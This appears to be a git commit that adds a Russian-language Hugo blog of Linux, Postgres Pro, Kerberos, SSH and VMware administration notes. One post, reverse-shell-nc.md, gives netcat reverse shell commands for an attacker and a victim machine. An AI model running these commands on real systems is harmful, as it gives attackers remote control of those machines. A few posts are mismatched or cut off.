Committer: fruworg <im@fruw.org>

On branch main
Your branch is up to date with 'origin/main'.

Changes to be committed:
	new file:   .gitmodules
	new file:   archetypes/default.md
	new file:   config.toml
	new file:   content/posts/ald-pro.md
	new file:   content/posts/astra-fly.md
	new file:   content/posts/astra-freeipa.md
	new file:   content/posts/bareos-install.md
	new file:   content/posts/cifs-automount.md
	new file:   content/posts/create-user-keytab.md
	new file:   content/posts/create-user-keytab.md.save
	new file:   content/posts/dhcp-resolv.md
	new file:   content/posts/github-ssh-auth.md
	new file:   content/posts/ip-command.md
	new file:   content/posts/linux-krb5.md
	new file:   content/posts/linux-network.md
	new file:   content/posts/linux-nfs.md.save
	new file:   content/posts/linux-packages-rebuild.md
	new file:   content/posts/lvm-base-commands.md
	new file:   content/posts/pfx-to-pem.md
	new file:   content/posts/pg-probackup-setup.md.save
	new file:   content/posts/pg-probackup-setup.md.save.1
	new file:   content/posts/postgres-drop-db.md
	new file:   content/posts/postgres-krb5.md
	new file:   content/posts/postgres-ldaps.md
	new file:   content/posts/postgres-pro-astra-se.md
	new file:   content/posts/postgres-replication.md
	new file:   content/posts/postgres-simple-backup.md
	new file:   content/posts/postgres-tls.md
	new file:   content/posts/reverse-shell-nc.md
	new file:   content/posts/run-nologin.md
	new file:   content/posts/security-solutions.md
	new file:   content/posts/selfsigned-to-trusted.md
	new file:   content/posts/ssh-2fa-totp.md
	new file:   content/posts/ssh-auth-by-key.md
	new file:   content/posts/ssh-fail2ban.md
	new file:   content/posts/vmware-clipboard.md
	new file:   content/posts/vmware-restart-date.md
	new file:   content/posts/windows-disable-shutdown.md
	new file:   static/0x952C15AB751A65F6
	new file:   static/favicon.ico
	new file:   static/fruworg.png
	new file:   themes/archie

 Changes not staged for commit:
	modified:   themes/archie (modified content)
This commit is contained in:
root 2023-07-26 20:55:24 +05:00
parent f4f05d0ce3
commit 9c4706e826
42 changed files with 1323 additions and 0 deletions

3
.gitmodules vendored Normal file
View File

@ -0,0 +1,3 @@
[submodule "themes/archie"]
path = themes/archie
url = https://github.com/athul/archie

6
archetypes/default.md Normal file
View File

@ -0,0 +1,6 @@
---
title: "{{ replace .Name "-" " " | title }}"
date: {{ .Date }}
draft: true
---

24
config.toml Normal file
View File

@ -0,0 +1,24 @@
baseURL = "http://fruw.org/"
anguageCode = "ru-RU"
title = "фрув.орг"
theme = "archie"
pygmentsstyle = "fruity"
pygmentscodefences = true
pygmentscodefencesguesssyntax = true
paginate=4 # articles per page
[params]
mode="dark" # color-mode → light,dark,toggle or auto
description="всем привет!"
#useCDN=false # don't use CDNs for fonts and icons, instead serve them locally.
[[menu.main]]
name = "Все посты"
url = "/posts"
weight = 1
[[menu.main]]
name = "Теги"
url = "/tags"
weight = 2

49
content/posts/ald-pro.md Normal file
View File

@ -0,0 +1,49 @@
---
title: Установка и конфигурация ALD Pro
description: Astra Linux Directory Pro
date: 2023-05-08T23:25:00+05:00
tags: [linux, astra, krb5]
---
## Создания сетевой видимости
```shell
<dc-ip> <dc-name>.<domain> <dc-name>
# /etc/hosts
```
## Смена хостнейма
```shell
hostnamectl set-hostname <dc-name>.<domain>
```
## Добавление репозиториев ALD Pro
```shell
deb https://download.astralinux.ru/aldpro/stable/repository-main/ 1.0.0 main
deb https://download.astralinux.ru/aldpro/stable/repository-extended/ generic main
# /etc/apt/sources.list.d/aldpro.list
```
## Выставление приоритета репозиториев
```shell
Package: *
Pin: release n=generic
Pin-Priority: 900
# /etc/apt/preferences.d/aldpro
```
## Установка пакета
```shell
DEBIAN_FRONTEND=noninteractive apt-get install -q -y aldpro-mp
```
## Развёртывание
После того, как команда развёртывания отработает и сервер перезагрузитcя,
сервер ALD Pro будет доступен по адресу: https://\<dc-name\>.\<domain\>
```shell
/opt/rbta/aldpro/mp/bin/aldpro-server-install.sh \
-d <domain> -n <dc-name> -p <password> --ip <dc-ip>
```

View File

@ -0,0 +1,27 @@
---
title: "Установка fly-dm (GUI) на Astra Linux"
date: 2023-04-04T12:35:00+05:00
description: Небольшая памятка
tags: [linux, astra]
---
## Установка пакета fly
```bash
apt install fly-all-main
```
## Загрузка ОС с GUI по-умолчанию
```bash
systemctl set-default graphical.target
```
## Примечание
### Посмотреть текущую конфигурацию загрузки
```bash
systemctl get-default
```
### Вернуть загрузку ОС с CLI
```bash
systemctl set-default multi-user.target
```

View File

@ -0,0 +1,50 @@
---
title: Установка и конфигурация FreeIPA на Astra Linux
description: Сервер и клиент
date: 2023-03-25T01:08:00+05:00
tags: [linux, astra, krb5, freeipa]
---
## Общая настройка
### Создания сетевой видимости
```shell
<server-ip> <server-name>.<domain> <server-name>
<client-ip> <client-name>.<domain> <client-name>
# /etc/hosts
```
## Настройка cервера
### Смена хостнейма
```shell
hostnamectl set-hostname <server-name>.<domain>
```
### Установка пакета
```shell
apt install fly-admin-freeipa-server -y
```
### Развёртывание
```shell
astra-freeipa-server -d <domain> -n <server-name> -px -ip <server-ip> -o --dogtag -y
```
## Настройка клиента
### Смена хостнейма
```shell
hostnamectl set-hostname <client-name>.<domain>
```
### Установка пакета
```shell
apt install fly-admin-freeipa-client -y -px "--force"
```
### Конфигурация клиента
``` shell
astra-freeipa-client -d <domain>
```

View File

@ -0,0 +1,70 @@
---
title: Установка Bareos на Astra Linux SE
description: Инструкция по установке из репозитория Bareos
date: 2023-01-27T16:08:00+05:00
tags: [linux, postgres, bareos, apache]
---
## Конфигурация Сервера
### Установка Bareos и PostgreSQL
```shell
curl -s https://download.bareos.org/current/Debian_10/add_bareos_repositories.sh | bash
apt update
apt install postgresql bareos bareos-webui
```
### Конфигурация БД
```shell
dpkg-reconfigure bareos-database-common
```
### Включение сервисов Bareos, PostgreSQL и Apache
```shell
systemctl enable --now postgresql bareos-director bareos-filedaemon bareos-storage apache2
```
### Создание пользователя для Bareos-webui и конфига клиента
Веб Bareos'а находится по адресу: [http://\<bareos-ip\>/bareos-webui/](http://localhost/bareos-webui/)
```shell
bconsole
configure add console name=<web-user> password=<web-pass> profile=webui-admin tlsenable=no
configure add client name=<client-name> address=<client-ip> password=<client-pass>
reload
exit
```
### Бэкап определённой папки
```shell
FileSet {
Name = "<name>"
Description = "<description>"
Include {
Options {
Signature = MD5 # calculate md5 checksum per file
}
File = "<directory>"
}
}
# /etc/bareos/bareos-dir.d/fileset/<name>.conf
```
## Конфигурация клиента
### Установка Bareos Filedaemon
```shell
curl -s https://download.bareos.org/current/Debian_10/add_bareos_repositories.sh | bash
apt update
apt install bareos-filedaemon
```
### Перенос конфига с сервера на клиент
```shell
scp <user>@<server-ip>:/etc/bareos/bareos-dir-export/client\
/<client-name>/bareos-fd.d/director/bareos-dir.conf/etc/bareos/bareos-fd.d/director/
```
### Включение сервиса
```shell
systemctl enable --now bareos-filedaemon
```

View File

@ -0,0 +1,42 @@
---
title: Автомонтирование сетевых дисков на Linux
description: CIFS/SMB
date: 2023-05-12T18:10:00+05:00
tags: [linux, krb5]
---
## Установка пакета
```shell
apt install cifs-utils -y
```
## Создание файла с данными УЗ
```shell
username=<username>
password=<password>
domain=<domain>
# /root/.smbuser
```
## Смена прав на файл с данными УЗ
```shell
sudo chmod 0400 /root/.smbuser
```
## Развёртывание
```shell
//<address> /<folder> cifs credentials=/root/.smbuser,uid=<uid>,gid=<gid> 0 0
# /etc/fstab
```
## Монтирование всех директорий
```shell
mount -a
```
## Монтирование ручками (необязательно)
```shell
mount -t cifs //<address> /<folder> -o \
username=<username>,password=<password>,domain=<domain>
```

View File

@ -0,0 +1,44 @@
---
title: Установка и конфигурация NFS-сервера на Linux
description: И его монтирование на клиентах
date: 2022-11-25T17:57:00+05:00
tags: [linux, nfs]
---
## Настройка NFS-сервера
### Установка пакета
```shell
apt -y install nfs-kernel-server
```
### Создание каталога, который будет расшарен
```shell
mkdir /nfs
chmod 777 /nfs
```
### Разрешение сетевого доступа
```shell
/nfs <client-ip>(rw,sync,no_root_squash,no_subtree_check)
# /etc/exports
```
## Настройка NFS-клиента
### Установка пакета
```shell
apt -y install nfs-common
```
### Запуск службы
``` shell
systemctl enable --now rpcbind
```
### Автомонитрование
```shell
<server-ip>:/nfs /nfs nfs defaults 0 0
# /etc/fstab
```

View File

@ -0,0 +1,44 @@
---
title: Создание keytab файла для пользователя
description: В *nix системах
date: 2022-11-25T17:57:00+05:00
tags: [linux, krb5]
---
## Настройка NFS-сервера
### Установка пакета
```shell
apt -y install nfs-kernel-server
```
### Создание каталога, который будет расшарен
```shell
mkdir /nfs
chmod 777 /nfs
```
### Разрешение сетевого доступа
```shell
/nfs <client-ip>(rw,sync,no_root_squash,no_subtree_check)
# /etc/exports
```
## Настройка NFS-клиента
### Установка пакета
```shell
apt -y install nfs-common
```
### Запуск службы
``` shell
systemctl enable --now rpcbind
```
### Автомонитрование
```shell
<server-ip>:/nfs /nfs nfs defaults 0 0
# /etc/fstab
```

View File

@ -0,0 +1,19 @@
---
title: Принудительная запись в resolv.conf
description: При использовании DHCP
date: 2023-04-06T02:43:00+05:00
tags: [linux]
---
## Конфигурация клиента
Неприятно, когда конфиг не даёт поменять себя ручками, да?
```bash
supersede domain-name-servers <dns-1>, <dns-n>;
supersede domain-name "<domain.local>";
# /etc/dhcp/dhclient.conf
```
```bash
systemctl restart networking
```

View File

@ -0,0 +1,27 @@
---
title: Работа с репозиториями GitHub через терминал
description: Аутентификация с помощью ключа ssh
date: 2023-07-26T16:29:00+06:00
tags: [linux, git, ssh]
---
## Генерация ключа
```bash
ssh-keygen -t ed25519 -C "<your>@<ema.il>"
```
## Вывод публичного ключа
```bash
cat ~/.ssh/id_ed25519.pub
```
## Добавление ключа в GitHub
Необходимо зайти на GitHub в настройки своего аккаунта и перейти в раздел ["SSH and GPG keys"](https://github.com/settings/keys). Далее нужно нажать "New SSH key", вставить содержимое публичного ключа и сохранить изменения.
## Аутентификация в GitHub
```bash
git remote set-url origin git@github.com:<username>/<reponame>.git
```

View File

@ -0,0 +1,31 @@
---
title: "Памятка по команде ip"
date: 2022-11-25T19:17:00+05:00
description: Команда ip в Linux
tags: [linux]
---
## Показать все интерфейсы
```bash
ip a
ip l
```
## Показать информацию по конкретному интерфейсу
```bash
ip a show <interface>
ip l show <interface>
```
## Изменить статус сетевого интерфейса
```bash
ip l set <interface> down
ip l set <interface> up
```
## Добавить или удалить адрес
```bash
ip a add <ip-address/mask> dev <interface>
ip a add brd <ip-address/mask> dev <interface>
ip a del <ip-address> dev <interface>
```

View File

@ -0,0 +1,86 @@
---
title: Установка и конфигурация Kerberos на Linux
description: На сервере и клиенте
date: 2022-11-29T13:07:00+05:00
tags: [linux, krb5]
---
## Конфигурация сервера
### Установка пакетов
```shell
apt -y install krb5-kdc krb5-admin-server
```
## Конфигурация клиента
### Установка пакетов
```shell
apt -y install krb5-user libpam-krb5
```
## Общая конфигурация
На сервере и клиенте надо проделать следующие шаги:
### Смена hostname
```shell
hostnamectl set-hostname <hostname>
```
### Правка файла hosts
Вместо правки файла hosts можно поднять DNS-сервер и сделать записи там.
```shell
<server-ip> <server-name.domain.name> <server-name>
<client-ip> <client-name.domain.name> <client-name>
# /etc/hosts
```
### Редактирование конфига Kerberos
```shell
[libdefaults]
default_realm = <DOMAIN.NAME>
[realms]
<DOMAIN.NAME> = {
kdc = <server-name.domain.name>
admin_server = <server-name.domain.name>
kpasswd_server = <server-name.domain.name>
default_domain = <DOMAIN.NAME>
}
[domain_realm]
<domain.name> = <DOMAIN.NAME>
.<domain.name> = <DOMAIN.NAME>
# /etc/krb5.conf
```
## Создание нового реалма (на сервере)
### Создание master key для БД krb5
```shell
krb5_newrealm
```
### Создание учётной записи администратора
```shell
kadmin.local
addprinc <admin-name>/admin
quit
```
### Разрешение административных прав
```shell
<admin-name>/admin
# /etc/krb5kdc/kadm5.acl
```
## Получение билета
```shell
kinit <admin-name>\admin
```
Проверяем наличие выданного билета:
```shell
klist
```

View File

@ -0,0 +1,32 @@
---
title: "Настройка сети в Linux"
date: 2022-11-25T15:34:46+05:00
description: Путём правки конфигурационных файлов
tags: [linux]
---
## Настройка DNS и домена
```bash
search <domain>
nameserver <dns-server>
# /etc/resolv.conf
```
## Статика
```bash
auto <interface>
iface <interface> inet static
address <ip-address>
netmask <netmask>
gateway <gateway>
# /etc/network/interfaces.d/<interface>
```
## DHCP
```bash
auto <interface>
iface <interface> inet dhcp
# /etc/network/interfaces.d/<interface>
```

View File

@ -0,0 +1,42 @@
---
title: Конфигурация NFS-сервера на Linux
description: И его монтирование на клиентах
date: 2022-11-25T85:08:00+05:00
tags: [vmware]
---
## Настройка NFS-сервера
### Установка пакета
```shell
apt install nfs-kernel-server
```
### Создание каталога, который будет расшарен
```shell
sudo mkdir /nfs
sudo chmod 777 /nfs
```
### Разрешаем сетевой доступ
```shell
/nfs <client-ip>(rw,sync,no_root_squash,no_subtree_check)
# /etc/exports
```
## Настройка NFS-клиента
### Установка пакета
```shell
apt install nfs-common
```
### Запуск службы
``` shell
systemctl enable --now rpcbind
```
### Автомонитрование
```shell
<server-ip>:/nfs /nfs nfs defaults 0 0
```

View File

@ -0,0 +1,22 @@
---
title: Пересборка .deb пакетов
description: Список команд
date: 2023-01-24T22:58:00+05:00
tags: [linux]
---
## Распаковка пакета
### Распаковка данных
```shell
dpkg -x "<package>.deb" <folder>
```
### Распаковка метаданных
```shell
dpkg -e "<package>.deb" <folder>/DEBIAN
```
## Сборка пакета
```shell
dpkg -b <folder> "<package>.deb"
```

View File

@ -0,0 +1,31 @@
---
title: Памятка по LVM
description: Базовые команды
date: 2022-11-25T13:58:10+05:00
tags: [linux, lvm]
---
## Установка пакекта
```shell
apt -y install lvm2
```
## Создание
``` shell
pvcreate /dev/sda
vgcreate vg-name /dev/sda
lvcreate -L 10G -n lv-name vg-name
```
## Изменение
```shell
vgextend vg /dev/sdb
lvresize -rL +1G /dev/vg-name/lv-name
lvresize -rl +100%FREE /dev/vg-name/lv-name
```
## Просмотр
```shell
pvs
vgs
lvs
```

View File

@ -0,0 +1,29 @@
---
title: Конвертация .pfx в .pem
description: Используя OpenSSL
date: 2023-04-12T11:45:00+05:00
tags: [linux, tls]
---
## Извлечение сертификата и ключа
```bash
openssl pkcs12 -in <tls>.pfx -out <tls>.pem -nodes
```
## Извлечение сертификата
```bash
openssl pkcs12 -in <tls>.pfx -clcerts -nokeys -out <cert>.pem
```
## Извлечение ключа
```bash
openssl pkcs12 -in <tls>.pfx -nocerts -out <key>.tmp.pem
```
## Обеспароливание ключа
```bash
openssl rsa -in <key>.tmp.pem -out <key>.pem
```

View File

@ -0,0 +1,15 @@
---
title: pg_probackup
description: Backup Postgres Pro
date: 2022-12-14T12:04:00+05:00
tags: [linux, postgres]
---
## Генерируем ключ
```shell
ssh-keygen
```
## Копируем ключ
```shell
ssh-copy-id <username>@<server-ip>
```

View File

@ -0,0 +1,15 @@
---
title: pg_probackup
description: убличного ключа
date: 2022-12-14T12:04:00+05:00
tags: [linux, ssh]
---
## Генерируем ключ
```shell
ssh-keygen
```
## Копируем ключ
```shell
ssh-copy-id <username>@<server-ip>
```

View File

@ -0,0 +1,34 @@
---
title: Дроп БД форсированно в Postgres
description: На старой и новой версии
date: 2023-03-03T13:26:00+05:00
tags: [linux, postgres]
---
## На старой версии (<=12)
Заходим в консоль Postgres:
```shell
psql
```
Убиваем соединения с БД:
```shell
SELECT pg_terminate_backend (pid)
FROM pg_stat_activity
WHERE pg_stat_activity.datname = '<database_name>';
```
Дропаем БД:
```shell
DROP DATABASE <database_name>;
```
## На новой версии (>=13)
Заходим в консоль Postgres:
```shell
psql
```
Дропаем БД:
``` shell
DROP DATABASE <database_name> WITH (FORCE);
```

View File

@ -0,0 +1,77 @@
---
title: Аутентификация в Postgres Pro с помощью Kerberos
description: Используя протокол GSSAPI
date: 2022-11-29T16:21:00+05:00
tags: [linux, postgres, krb5]
---
## Установка Kerberos и Postgres Pro
Для начала, необходимо установить [Postgres Pro](//fruw.org/posts/postgres-pro-astra-se) и [Kerberos](//fruw.org/posts/linux-krb5).
На машину с Postgres Pro Kerberos устанавливается также, как и на клиента.
## Конфигурация сервера Kerberos
### Добавление принципиала Postgres Pro
```shell
kadmin.local
addprinc <username>
addprinc postgres
addprinc postgres/<pg-hostname>
q
```
### Экспорт субъекта-службы
```shell
ktutil
add_entry -password -p postgres/<pg-hostname>@<DOMAIN.NAME> -k 1 -e aes256-cts-hmac-sha1-96
wkt postgres.keytab
q
```
### Перенос субъекта-службы на сервер Postgres Pro
Перенести keytab можно как угодно, главное, чтобы он находился в папке с конфигурационными файлами Postgres Pro.
Я перенесу с помощью команды scp:
```shell
scp postgres.keytab postgres@<pg-hostname>:/var/lib/pgpro/std-13/data/
```
## Конфигурация сервера Postgres Pro
### Включение ранее перенесённого keytab
```shell
ktutil
read_kt postgres.keytab
q
```
### Изменение конфигруационного файла Postgres Pro
```shell
krb_server_keyfile = 'postgres.keytab'
listen_addresses = 'localhost, <pg-ip>'
# /var/lib/pgpro/std-13/data/postgresql.conf
```
### Разрешение подключения
```shell
hostgssenc all postgres localhost/32 gss include_realm=0
hostgssenc <database> <username> <client-ip>/32 gss include_realm=0
# /var/lib/pgpro/std-13/data/pg_hba.conf
```
### Получение тикета от Kerberos
```shell
kinit postgres
```
## Конфигурация клиента
### Получение тикета от Kerberos
```shell
kinit <username>
```
### Подключение к Postgres Pro
```shell
psql -d <database> -h <pg-hostname> -U <username>
```

View File

@ -0,0 +1,53 @@
---
title: ldaps аутентификация в Postgres Pro
description: ad+ldaps+postgres
date: 2023-06-01T20:40:00+05:00
tags: [linux, postgres, ad, ldap, tls, windows]
---
## Выпуск сертфиката
AD необходимо дать роль CA и выпустить сертификат. Подробнее: https://youtu.be/xC3ujXGkh_c?t=160
## Перенос сертификата
Необходимо перенести выпущенный конечный сертификат на сервер СУБД и перекодировать следующей командой:
```shell
openssl x509 -inform der -in <ad>.cer -out <ad>.pem
```
## Установка пакета ldap-utils
```shell
apt install ldap-utils -y
```
## Правка ldap конфига
```shell
TLS_CACERT /etc/ldap/<ad>.pem
BASE dc=<domain>,dc=<local>
URI ldaps://<dc>.<domain>.<local>:636
# /etc/ldap/ldap.conf
```
## Проверка ldap
```shell
ldapsearch -x -b "dc=<domain>,dc=<local>" \
-H ldaps://<dc>.<domain>.<local>:636 -W -D <domain-user>
```
## Правка pg_hba.conf
```shell
host <database> <user> <ip>/<mask> ldap ldapserver=<dc>.<domain>.<local> ldapprefix="cn=" ldapsuffix=",cn=users,dc=<domain>,dc=<local>"
# /var/lib/pgpro/std-14/data/pg_hba.conf
```
## Создание пользователя в Postgres
```shell
psql -c "CREATE USER <domain-user>;"
```
## Перезапуск Postgres Pro
```shell
systemctl restart postgres*
```

View File

@ -0,0 +1,35 @@
---
title: Установка Postgres Pro на Astra Linux SE
description: Инструкция по установке из репозитория Postgres Proffessional
date: 2022-11-25T16:20:00+05:00
tags: [linux, astra, postgres]
---
## Добавление репозитория
``` shell
apt -y install gnupg
wget -O - http://repo.postgrespro.ru/keys/GPG-KEY-POSTGRESPRO | apt-key add -
echo "deb http://repo.postgrespro.ru/pgpro-14/astra-smolensk/1.7 1.7_x86-64 main" \
> /etc/apt/sources.list.d/pgpro.list
```
## Установка пакета
```shell
apt update
apt -y install postgrespro-std-14
```
## systemd
```shell
/opt/pgpro/std-14/bin/pg-setup service enable --now
ln -s /lib/systemd/system/postgrespro-std-14.service /etc/systemd/system/postgresql.service
```
## Обновление путей
```shell
/opt/pgpro/std-14/bin/pg-wrapper links update
```
## Смена пароля postgres
```shell
su - postgres
psql -c "ALTER USER postgres PASSWORD '<password>';"
```

View File

@ -0,0 +1,82 @@
---
title: Настройка физической репликации Postgres Pro
description: Потоковая репликация и репликация с архивом
date: 2022-11-25T16:51:00+05:00
tags: [linux, postgres, nfs]
---
## Установка Postgres Pro
Процесс установки описан в [этом посте](//fruw.org/posts/postgres-pro-astra-se).
## Потоковая репликация
Про различия в реализациях репликаций можно почитать вот [здесь](//edu.postgrespro.ru/dba3/dba3_04_replica_physical.pdf).
### Конфигурация master
Действия с Postgres Pro следует выполнять от имени пользователя postgres.
```shell
su - postgres
```
#### Создание пользователя для репликации
```shell
psql -c "CREATE ROLE repuser WITH REPLICATION LOGIN ENCRYPTED PASSWORD '<password>';"
```
#### Разрешение подключения для slave
Дописываем в конец файла:
```shell
host replication repuser <slave-ip>/32 md5
# /var/lib/pgpro/std-13/data/pg_hba.conf
```
#### Реконфигурация
```shell
listen_addresses = 'localhost, <master-ip>'
wal_level = hot_standby
archive_mode = on
archive_command = 'cd .'
max_wal_senders = 8
hot_standby = on
# /var/lib/pgpro/std-13/data/postgresql.conf
```
#### Перезапуск Postgres Pro
```shell
systemctl restart postgres
```
### Настройка slave
#### Выгрузка файлов с master
```shell
rm -rf /var/lib/pgpro/std-13/data/*
pg_basebackup -P -R -X stream -c fast -h <master-ip> -U postgres -D \
/var/lib/pgpro/std-13/data
```
## Репликация с архивом
Настройка репликации с архивом выролняется с некоторыми отличиями от потоковой репликации:
### Развёртывание NFS
WAL-архивы будут складываться на NFS. Как сконфигурировать NFS написано [здесь](//fruw.org/posts/linux-nfs).
Необходимо смонтировать NFS на master и slave в одинаковые директории.
### Дополнение к реконфигурации
```shell
archive_command = 'test ! -f /nfs/%f && cp %p /nfs/%f'
archive_cleanup_command = 'pg_archivecleanup -d /nfs %r 2>>cleanup.log'
# /var/lib/pgpro/std-13/data/postgresql.conf
```
## Синхронный и асинхронный режим репликации
При синхронной репликации, изменения применятся на основном сервере только после того, как они запишутся в WAL хотя бы одной реплики, а при асинхронной - сразу.
По умолчанию репликация работает в асинхронном режиме.
Для того, чтобы она работала в синхронном режиме, необходимо изменить две строки в конфигурационном файле Postgres Pro:
```shell
synchronous_commit = on
synchronous_standby_names = 'pgsql_0_node_0'
# /var/lib/pgpro/std-13/data/postgresql.conf
```

View File

@ -0,0 +1,27 @@
---
title: Простой бэкап Postgres Pro
description: Используя pg_dump, pg_dumpall, pg_restore и cron
date: 2022-12-14T16:48:00+05:00
tags: [linux, postgres]
---
## Скрипт для бэкапа БД и глобальных объектов
```shell
#!/usr/bin/env bash
pg_dump -U <username> -h <pg-hostname> -Fc <db> --file=<db>-$(date '+%Y-%m-%d').dump
pg_dumpall -U <username> -h <pg-hostname> --globals --file=gb-$(date '+%Y-%m-%d').dump
# /home/<username>/pg-backup.sh
```
## Файл cron с запуском скрипта (каждый день в 2:00)
```shell
0 2 * * * /usr/bin/env bash /home/<username>/pg-backup.sh
# crontab -e -u <username>
```
## Рестор файлов БД и глобальных объектов
```shell
pg_restore -C -d postgres <dbname>-<date>.dump
psql -U postgres < gb-<date>.dump
```

View File

@ -0,0 +1,41 @@
---
title: Соединение по TLS в Postgres Pro
description: С использованием scrum-sha-256
date: 2022-11-28T20:25:00+05:00
tags: [linux, postgres, tls]
---
## Создание сертификата
В этом посте я буду использовать самоподписанный сертификат, но сертификат от Let's Encrypt тоже подойдёт.
Сертификат и ключ желательно держать в той же папке, где лежат конфиги Postgres Pro.
``` shell
openssl req -x509 -newkey rsa:4096 -keyout <key>.pem -out <cert>.pem -sha256 -days 365
```
## Включение TLS
``` shell
ssl = on
ssl_cert_file = '<cert>.pem'
ssl_key_file = '<key>.pem'
listen_addresses = 'localhost, <master-ip>'
# /var/lib/pgpro/std-13/data/postgresql.conf
```
## Разрешение доступа через TLS
```shell
hostssl <user> <database> <client-ip> scram-sha-256
# /var/lib/pgpro/std-13/data/pg_hba.conf
```
## (ре)Генерация пароля
В случае, если до этого хеш-алгоритм пароля был не scram-sha-256, то необходимо пересоздать пароль:
```shell
psql -c \password
```
## Перезапуск Postgres Pro
```shell
systemctl restart postgres*
```

View File

@ -0,0 +1,20 @@
---
title: Reverse Shell
description: Используя Traditional и OpenBSD Netcat
date: 2022-12-09T15:02:00+05:00
tags: [linux, ssh, hack]
---
## Машина атакующего
```shell
nc -lvp <port>
```
## Машина жертвы (Traditional Netcat)
```shell
nc <attacker-ip> <port> -e /bin/bash
```
## Машина жертвы (OpenBSD Netcat)
```shell
mkfifo /tmp/rev; nc <attacker-ip> <port> < /tmp/rev \
| /bin/bash 2>&1 | tee /tmp/rev > /dev/null
```

View File

@ -0,0 +1,20 @@
---
title: Принудительное отключение создания файла nologin
description: Дедовским методом
date: 2023-04-06T18:25:00+05:00
tags: [linux]
---
## Комментим строку
В найденых файлах необходимо закомментить все строки с pam_nologin.so.
```bash
cd /etc/pam.d
nano $(grep -Rl "pam_nologin.so")
```
## Перезагружаем машину
```bash
init 6
```

View File

@ -0,0 +1,25 @@
---
title: Памятка по решениям в ИБ
description: EDR, UEBA, IAM/IDM, SOAR/IRP, SIEM
date: 2023-01-19T13:00:00+05:00
tags: [security]
---
# [EDR](//encyclopedia.kaspersky.ru/glossary/edr-endpoint-detection-response/) (Endpoint Detection and Response)
Класс решений для обнаружения и изучения вредоносной активности на конечных точках: подключенных к сети рабочих станциях, серверах, устройствах Интернета вещей и так далее. В отличие от антивирусов, задача которых — бороться с типовыми и массовыми угрозами, EDR-решения ориентированы на выявление целевых атак и сложных угроз.\
Примеры: [SOLDR](//github.com/vxcontrol/soldr), [Kaspersky EDR](//kaspersky.ru/enterprise-security/endpoint-detection-response-edr)
# [UEBA](//encyclopedia.kaspersky.ru/glossary/ueba/) (User and Entity Behavior Analytics)
Класс решений для выявления киберугроз, основанная на анализе поведения пользователей, а также устройств, приложений и иных объектов в информационной системе.\
Примеры: [OpenUBA](//github.com/GACWR/OpenUBA), [InfoWatch Prediction](//infowatch.ru/products/uba-sistema-prediction)
# [IAM](//anti-malware.ru/security/account-management-iam-idm?page=1) (Identity and Access Management)
Класс решений для автоматизации управления учетными данными и ролями пользователей информационных систем. Системы управления учетными записями также позволяют производить аудит доступа пользователей, обрабатывать электронные заявки на получение доступа и составлять отчеты.\
Примеры: [FreeIPA](//freeipa.org/page/Main_Page), [RooX UIDM](//uidm.ru)
# [SOAR](//encyclopedia.kaspersky.ru/glossary/security-orchestration-automation-and-response-soar/) (Security Orchestration, Automation and Response)
Класс программных продуктов, предназначенных для оркестровки систем безопасности, то есть их координации и управления ими. В частности, решения класса SOAR позволяют собирать данные о событиях информационной безопасности из различных источников, обрабатывать их и автоматизировать типовые сценарии реагирования на них.\
Примеры: [Shuffle](//shuffler.io/), [Security Vision SOAR](//securityvision.ru/products/irp/)
# [SIEM](//encyclopedia.kaspersky.ru/glossary/siem/) (Security Information and Event Management)
Класс программных продуктов, предназначенных для сбора и анализа информации о событиях безопасности.
Примеры: [Wazuh](//github.com/wazuh/wazuh), [MaxPatrol](//ptsecurity.com/ru-ru/products/mp8)

View File

@ -0,0 +1,21 @@
---
title: Добавление самоподписанных сертификатов в доверенное хранилище
description: Astra Linux (Debian based)
date: 2023-05-12T18:20:00+05:00
tags: [linux, astra, tls]
---
## Получение корневого сертификата
```
echo quit | openssl s_client -showcerts \
-servername <websi.te> -connect <websi.te>:443 > <certificate>.crt
```
## Перемещение сертификата
```shell
cp <certificate>.crt /usr/local/share/ca-certificates
```
## Обновление состава доверенного хранилища
```shell
dpkg-reconfigure ca-certificates
```

View File

@ -0,0 +1,52 @@
---
title: Двухфакторная аутентификация для SSH
description: 2fa, totp, google-authenticator
date: 2022-11-29T13:35:00+05:00
tags: [linux, ssh]
---
## Установка пакета
```shell
apt install -y openssh-server libpam-google-authenticator
```
## Правка конфига PAM
```shell
auth required pam_google_authenticator.so
# auth required pam_google_authenticator.so
```
## Правка конфига ssh
```shell
ChallengeResponseAuthentication yes
# /etc/ssh/sshd_config
```
## Конфигурация аутентификации
Следующая команда сконфигурирует TOTP.
Запускать команду следует от имени того пользователя,
к которому будет инициализированно подключение.
```shell
google-authenticator
```
## Управление факторами (необязательно)
Включить запрос ключа при аутентификации:
```shell
AuthenticationMethods publickey,password publickey,keyboard-interactive
# /etc/ssh/sshd_config
```
Отключить запрос пароля при аутентификации:
```shell
#@include common-auth
# /etc/pam.d/sshd
```
## Перезапуск сервиса ssh
```shell
systemctl restart ssh
```

View File

@ -0,0 +1,15 @@
---
title: Беспарольная аутентификация для SSH
description: С помощью публичного ключа
date: 2022-12-14T12:04:00+05:00
tags: [linux, ssh]
---
## Генерация ключа
```shell
ssh-keygen
```
## Копировние ключв
```shell
ssh-copy-id <username>@<server-ip>
```

View File

@ -0,0 +1,29 @@
---
title: fail2ban для SSH
description: Защита от брута пароля к SSH
date: 2022-11-29T13:41:00+05:00
tags: [linux, ssh]
---
## Установка пакета fail2ban
```shell
apt -y install fail2ban
```
## Правило для ssh
``` shell
[sshd]
enabled = true
port = <ssh-port>
filter = sshd
logpath = /var/log/auth.log
maxretry = 3
findtime = 300
bantime = 3600
# /etc/fail2ban/jail.d/sshd.conf
```
## Перезапуск сервиса fail2ban
```shell
systemctl restart fail2ban
```

View File

@ -0,0 +1,14 @@
---
title: Включение буфера VM в VMware ESXi/vSphere
description: У созданных VM будет включен буфер обмена по умолчанию
date: 2022-11-25T15:08:00+05:00
tags: [vmware]
---
## Изменение конфига
``` shell
vmx.fullpath = "/bin/vmx"
isolation.tools.copy.disable="FALSE"
isolation.tools.paste.disable="FALSE"
# /etc/vmware/config
```

View File

@ -0,0 +1,14 @@
---
title: Сброс времени при перезагрузке в VMware ESXi/vSphere
description: При перезагрузке гипервизора будет выставляться заданное время
date: 2022-11-25T15:18:00+05:00
tags: [vmware]
---
## Изменение скрипта
``` shell
#!/bin/sh ++group=host/vim/vmvisor/boot
esxcli system time set --day=20 --month=3 --year=2022 --hour=10 --min=0 --sec=0
exit 0
# /etc/rc.local.d/local.sh
```

View File

@ -0,0 +1,15 @@
---
title: Отключение возможности выключения/перезагрузки/сна на Windows
description: Позволяет отключить определённую функцию
date: 2023-04-06T12:15:00+05:00
tags: [windows]
---
## Отключение
